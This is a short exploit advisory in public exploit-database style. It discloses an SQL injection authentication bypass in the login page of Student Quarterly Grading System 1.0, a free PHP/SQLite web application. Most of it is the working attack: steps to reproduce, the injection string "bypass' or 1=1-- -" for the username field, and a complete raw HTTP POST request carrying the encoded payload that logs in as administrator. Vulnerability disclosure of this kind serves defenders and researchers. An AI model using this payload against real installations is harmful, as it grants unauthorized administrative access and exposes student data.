Student Quarterly Grading System 1.0 SQL Injection

`# Exploit Title: Student Quarterly Grading System 1.0 - SQLi Authentication Bypass  
# Date: 04.10.2021  
# Exploit Author: Blackhan  
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code  
# Version: 1.0  
# Tested on: Windows 10, Kali Linux  
# Student Quarterly Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.  
  
Steps To Reproduce:  
1 - Go to the login page http://localhost/grading_system/login.php  
2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes and type anything to password field.  
3 - Click on "Login" button and you are logged in as administrator.  
  
PoC  
  
POST /grading_system/Actions.php?a=login HTTP/1.1  
Host: localhost  
Content-Length: 45  
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/grading_system/login.php  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j  
Connection: close  
  
username=bypass'+or+1%3D1--+-&password=bypass  
`